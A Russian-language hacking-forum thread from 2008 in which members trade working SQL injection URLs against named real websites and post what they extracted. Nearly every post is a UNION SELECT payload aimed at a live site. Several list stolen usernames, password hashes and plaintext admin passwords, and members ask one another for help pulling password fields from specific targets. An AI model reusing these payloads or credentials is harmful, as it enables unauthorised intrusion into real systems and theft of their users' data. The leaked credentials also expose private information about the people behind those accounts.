HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 14.07.2008, 20:55
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

Rabota.su
Цитата:
http://www.rabota.su/info/makebiz/index.php?id=99999+union+select+concat_ws(0x3a,log in,pwd),2+from+rabota_1.users/*
главная авторизация на сайте.
Цитата:
http://www.rabota.su/info/makebiz/index.php?id=99999+union+select+concat_ws(0x3a,log in,pass),2+from+test.1ckkm_adm_usr/*
поидее админы..
Цитата:
http://www.rabota.su/info/makebiz/index.php?id=99999+union+select+concat_ws(0x3a,log in,pass),2+from+test.my8pref_adm_usr/*
/admin - 500 (

Qanat.info
Цитата:
http://www.qanat.info/en/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,concat_ws(0x3a,version(),user(),database(),0x2 02020202a2623313038303b2623313037363b2623313037373 b2623313039303b202623313039323b2623313038303b26233 13038333b2623313130303b2623313039303b2623313038383 b2623313037323b2623313039343b2623313038303b2623313 130333b2066726f6d2028),18,19,20,21,22/*
наверника фильтрирует from (

Shanson.info
Цитата:
http://shanson.info/mp3/view_cat2.php?id=9999999+union+select+1,2,concat_w s(0x3a,username,user_password)+from+srv12705_sh1fo r.infophpbb3_users--
это пассы от форума, пасс админа в непонятном хеше..
Vlad:$H$9smGyUL04XKl5u16IE4w9MaceJYEqw.

Mkrug.ru - /forum
Цитата:
http://shanson.info/mp3/view_cat2.php?id=9999999+union+select+1,2,concat_w s(0x3a,username,user_password)+from+srv12705_sh1fo r.mkrugphpbb3n_users--
Иван:$H$9Ah37qYJZaSPHfGTDN0MQygFcA1ZWK.

Ogonek.su - /forum
Цитата:
http://shanson.info/mp3/view_cat2.php?id=9999999+union+select+1,2,concat_w s(0x3a,username,user_password)+from+srv12705_etike tt.phpbb_ogonekusers--
admin:$H$9T7Fs09jDWbOgt4NQKRDuOeVs8KhXA/

кароч. там еще много чего интересного )

Последний раз редактировалось sabe; 14.07.2008 в 22:38..
 
Ответить с цитированием

  #2  
Старый 14.07.2008, 21:52
DDoSька
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
С нами: 9483229

Репутация: 1160
По умолчанию

Код:
http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=-13+union+select+1,2,unhex(hex(table_name)),4,5,6+from+information_schema.tables/*
----
Код:
        COLUMNS       	COLUMN_PRIVILEGES    	KEY_COLUMN_USAGE    	ROUTINES    	SCHEMATA    	SCHEMA_PRIVILEGES             	STATISTICS             	TABLES             	TABLE_CONSTRAINTS             	TABLE_PRIVILEGES             	TRIGGERS             	VIEWS             	USER_PRIVILEGES             	categories             	contacts             	subcategories             	columns_priv             	db             	func             	help_category             	help_keyword             	help_relation             	help_topic             	host             	proc             	procs_priv             	tables_priv             	time_zone             	time_zone_leap_second             	time_zone_name             	time_zone_transition             	time_zone_transition_type             	user             	challenge_mlb             	challenge_nba             	challenge_ncaabk             	challenge_ncaafb             	challenge_nfl             	challenge_nhl             	comments_mlb             	comments_nba             	comments_ncaabk             	comments_ncaafb             	comments_nfl             	comments_nhl             	consensus_mlb             	consensus_nba             	consensus_ncaabk             	consensus_ncaafb             	consensus_nfl             	consensus_nhl             	picks_mlb             	picks_nba             	picks_ncaabk             	picks_ncaafb             	picks_nfl             	picks_nhl             	points_mlb             	points_nba             	points_ncaabk             	points_ncaafb             	points_nfl             	points_nhl             	team_mlb             	team_nba             	team_ncaabk             	team_ncaafb             	team_nfl             	team_nhl             	advertising             	ariticle_types             	art_comments             	articles             	articles_experts             	articles_rating             	blog_articles             	blog_arttype             	blog_sports             	blog_user             	ch_home_entry             	ch_home_entry              	comments             	countries             	coverage             	deposit_promo             	emailtemplate             	endorsements             	eqrace             	events             	faq             	free_contest             	globalsitepages             	globalvariables             	header_text             	horse_tracks             	hot_this_week             	images_promos             	inprogress             	jackpots             	links             	mail             	mail_user             	mainpagetext             	marquees             	matchups             	media             	media_feeds             	media_user             	metatags             	picks_pros             	poll_answers             	poll_questions             	poll_votes             	promos             	props             	questions             	races_information             	right_buttons             	send_emails             	shows             	smcategories             	smchannels             	smindex             	smprivileges             	smsections             	sound_files             	sports_teams             	states             	stats_scores             	teasers             	temp_articles             	topfiveleaders             	topfivematchups             	topfiveodds             	users             	video_shows             	winners             	winners_list             	writers
Код:
http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=-13+union+select+1,2,unhex(hex(column_name)),4,5,6+from+information_schema.columns+where+table_name=0x75736572/*
Код:
http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=-13+union+select+1,2,unhex(hex(concat_ws(0x3a,usern,password,email,admin))),4,5,6+from+users/*
 
Ответить с цитированием

  #3  
Старый 15.07.2008, 00:14
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

RBC.ua - РБК Украина - PR 5

мой любимый способ вывода - в .txt
Цитата:
http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,user ,password),2,3+from+mysql.user/*
root: а пасса поидее нету

шелл не зальеш ( фильтруются кавычки..

теперь пойдем по субдомменах..

Цитата:
http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,logi n,pass),2,3+from+presscenter.sys_user/*
Press.rbc.ua/admin/
admin;5660511

Цитата:
http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,logi n,pass),2,3+from+radio.sys_user/*
Radio.rbc.ua/admin/
admin;5660511

Цитата:
http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,logi n,password),2,3+from+rbc_research.rbc_users/*
Research.rbc.ua
shultz:shultz

бд большая - рут. найти можно много интересного..


Pogoda.ua- PR 4
Цитата:
http://www.pogoda.ua/index.php?id=999999+union+select+1,concat_ws(0x3a, version(),user(),database()),3,4,5/*
увы 4 мускул. хехе угадал табличку.....
Цитата:
http://www.pogoda.ua/index.php?id=999999+union+select+1,concat_ws(0x3a, login,password),3,4,5+from+users/*
InnovateOnline.info - PR 6
Цитата:
http://innovateonline.info/index.php?view=article&id=9999999+union+select+1,c oncat_ws(0x3a,password)+from+innovate.person_accou nt/*
пассы...
Цитата:
http://innovateonline.info/index.php?view=article&id=9999999+union+select+1,c oncat_ws(0x3a,email)+from+innovate.person/*
мыла...
Цитата:
http://innovateonline.info/index.php?view=article&id=9999999+union+select+1,c oncat_ws(0x3a,user_login,user_pass)+from+innovate_ jobs.wp_users/*
WP - токо где он ?

пс: второй домен webhost.fgsweb.fgsehs.nova.edu


Effective.net.ua
Цитата:
http://www.effective.net.ua/show_obj.php?a=-1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12, 13,14,15,16,17/*
Ekip.com.ua
Цитата:
http://ekip.com.ua/index.php?id=623+union+select+1,2,3,4,5,6,7,8,9,10 ,11,12,13,14,15--
вывод необнаружен..(

Последний раз редактировалось sabe; 03.08.2008 в 19:10..
 
Ответить с цитированием

  #4  
Старый 15.07.2008, 10:43
2la.painkiller
Новичок
Регистрация: 22.05.2008
Сообщений: 27
С нами: 9457966

Репутация: 0
По умолчанию

Хотел доработать
http://www.stumptuous.com/cms/
админку не могу найти =) поскажите плиз
 
Ответить с цитированием

  #5  
Старый 15.07.2008, 11:52
BizzyD
Участник форума
Регистрация: 02.06.2007
Сообщений: 210
С нами: 9969506

Репутация: 252
По умолчанию

Код:
http://www.mdiecast.com/manufacturerinfo.php?manname=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
попробуйте подобрать поля с паролями.. оч нужно
 
Ответить с цитированием

  #6  
Старый 15.07.2008, 12:59
S00pY
Познающий
Регистрация: 24.04.2007
Сообщений: 92
С нами: 10025299

Репутация: 412
По умолчанию

Цитата:
Сообщение от BizzyD  
Код:
http://www.mdiecast.com/manufacturerinfo.php?manname=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
попробуйте подобрать поля с паролями.. оч нужно
Поле с паролем не нашёл но нашёл таблицу с акками:
_http://www.mdiecast.com/manufacturerinfo.php?manname=-1+union+select+1,login,3,4,5,6,7,8,9,10,11,version (),13,14,15+from+accounts+limit+0,1/*


Ща покопаюсь дальше!




Есть форум ipb http://www.forum.mdiecast.com/ но база скорее всего другая и с ipb_members не читает((

Последний раз редактировалось S00pY; 15.07.2008 в 13:27..
 
Ответить с цитированием

  #7  
Старый 15.07.2008, 14:24
5taY3r
Познающий
Регистрация: 10.05.2007
Сообщений: 38
С нами: 10002038

Репутация: 100
По умолчанию

Цитата:
Сообщение от BizzyD  
Код:
http://www.mdiecast.com/manufacturerinfo.php?manname=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
попробуйте подобрать поля с паролями.. оч нужно
Код:
http://www.mdiecast.com/manufacturerinfo.php?manname=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,id,login,email),8,9,10,11,12,13,14,15+from+accounts+limit+0,1/*
Не хватает только пасса, пока ничего не придумаю...
 
Ответить с цитированием

  #8  
Старый 15.07.2008, 12:09
2la.painkiller
Новичок
Регистрация: 22.05.2008
Сообщений: 27
С нами: 9457966

Репутация: 0
По умолчанию

http://www.mdiecast.com/manufacturerinfo.php?manname=-1+order+by+15
15 штук

4.1.22-standard
удачи
+)

Последний раз редактировалось 2la.painkiller; 15.07.2008 в 12:11..
 
Ответить с цитированием

  #9  
Старый 15.07.2008, 12:13
BanQui
Познающий
Регистрация: 10.07.2008
Сообщений: 70
С нами: 9387494

Репутация: 36
По умолчанию

http://www.hyoro.net/Azur/ - Люди ента кп подается мускл???? Чтото странное какието ошибки внизу и по бокам!!! Посмарите плиз!!!
 
Ответить с цитированием

  #10  
Старый 15.07.2008, 12:33
nicusor
Участник форума
Регистрация: 19.03.2008
Сообщений: 108
С нами: 9550090

Репутация: 137
По умолчанию

Цитата:
Сообщение от BanQui  
http://www.hyoro.net/Azur/ - Люди ента кп подается мускл???? Чтото странное какието ошибки внизу и по бокам!!! Посмарите плиз!!!
закончилось место для хостинга
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...